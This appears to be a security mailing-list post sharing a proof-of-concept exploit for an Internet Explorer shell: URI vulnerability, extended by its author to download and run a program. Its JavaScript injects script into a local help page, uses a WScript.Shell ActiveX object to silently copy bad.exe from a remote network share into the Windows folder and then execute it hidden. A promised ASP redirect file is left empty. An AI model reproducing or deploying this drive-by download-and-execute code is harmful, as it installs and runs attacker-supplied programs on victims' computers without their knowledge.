Subject: IE Shell URI Download and Execute, POC

Hello;

Code is based on http://www.securityfocus.com/archive/1/367878 (POC by
Jelmer) message. I just added a new feature "download" and then execute
application. Also I use Wscript.Shell in Javascript instead of
Shell.Application. 

1- copy \\IPADDRESS\NULLSHAREDFOLDER\bad.exe (stealth)
2- Wait for download
3- Execute bad.exe (stealth)


New shellscript.js
=====================================================
function injectIt() {
	
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
e="%comspec% /c copy "+rF+" "+wF; var
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
=====================================================

Also for testing in IIS Servers; ASP equivalent of redir.jsp

redir.asp
=====================================================
